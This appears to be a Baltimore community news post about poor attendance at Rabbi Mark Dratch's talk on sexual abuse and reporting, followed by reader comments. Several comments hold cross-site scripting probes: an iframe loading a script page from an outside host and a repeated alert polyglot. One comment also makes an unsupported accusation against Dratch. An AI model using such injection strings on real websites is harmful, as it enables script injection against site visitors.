Where was everybody?
On Monday night at Beth El Congregation, Rabbi Mark Dratch spoke to a group of about 60 people on the issue of molestation and trauma.
The event was co-sponsored by the Associated: Jewish Community Federation of Baltimore; Chana; the Shofar Coalition; the Baltimore Jewish Council and the Baltimore Board of Rabbis. The Associated did a great job of publicizing the event. I was worried about finding a place to park.
I remember a community meeting a couple of years ago where 500 people came to hear David Mandel of New York’s Ohel and Dr. David Pelcovitz, the well known therapist, come and speak about this topic.
What we came away from that meeting with was Mr. Mandel’s telling us not to call the police nor a therapist when there was suspected abuse, but instead to a tell a rabbi.
It was an unforgettable low I experienced in the investigation of molestation. It was if misguidance was pulled right out of the jaws of opportunity and hope.
Yet, here we were on Monday and Rabbi Dratch was telling us that something like one in three women and girls had experienced sexual trauma while one in five men and boys had experienced sexual trauma.
There were four rabbis in the room, I counted them. But the community support for this issue, which organizationally has been magnificent, just wasn’t there when it came to numbers of people in the seats.
Those who were there, however, heard why Rabbi Dratch and his organization J-Safe, the Jewish Institute Supporting an Abuse-Free Environment, is changing the paradigm. Jewish people are learning that it is okay to go straight to a therapist or even a police officer to get immediate help if they suspect their children have been molested. Parents are teaching their children that it is okay to talk about what might have happened to them, and that they will be believed and that mom and dad will do something to protect them.
Certainly here in Baltimore, the Shofar Coalition in cooperation with the Baltimore Board of Rabbis has put together healing services and groups for men and women, who otherwise would have been afraid to seek help in any way.
We applaud those who were there on Monday night. And we can’t wait for Rabbi Dratch to return here to Baltimore. He is a hero to many of us.
His website is jsafe.org. Visit it, and invite him back as soon as possible.

What Mark Dratch says publicly is not what he practices privately.  He’s nothing more then a song and dance routine from the RCA.

<iframe src=http://ha.ckers.org/scriptlet.html <

<IMG >
<IMG >
<IMG >
<IMG >

[removed][removed]
jarmoff2

‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))

I think I saw it mentioned somewhere but I would hardly call it well publicized.  BJT, the Associated and other community-wide organizations need to sort of meet the orthodox half way if they want to have a major impact.  (even if the orthodox community is hostile).  Why not take out an ad in the Advertiser or Where What and When and have it the program in a more open type Orthodox shul, like Ner Tamid or even at the Jewish Community Center on Park Heights?

OTOH, David Mandel:
http://www.youtube.com/watch?v=zX2RvXZ6XdA
http://www.youtube.com/watch?v=Soo67uqrseE

Here is a link to the speech by Rabbi Dratch mentioned in the article by Mr. Jacobs:
http://baltimorejewishlife.com/news/news-detail.php?SECTION_ID=1&ARTICLE_ID=4691

Here are the links to a speech Rabbi Dratch gave in Chicago in October 2010 (in two parts because of You Tube time limits):
Part 1: http://www.youtube.com/watch?v=GsvGJfGeUco
Part 2: http://www.youtube.com/watch?v=j79auZsmSCY

For more of the Chicago program, please search YouTube for JBACChicago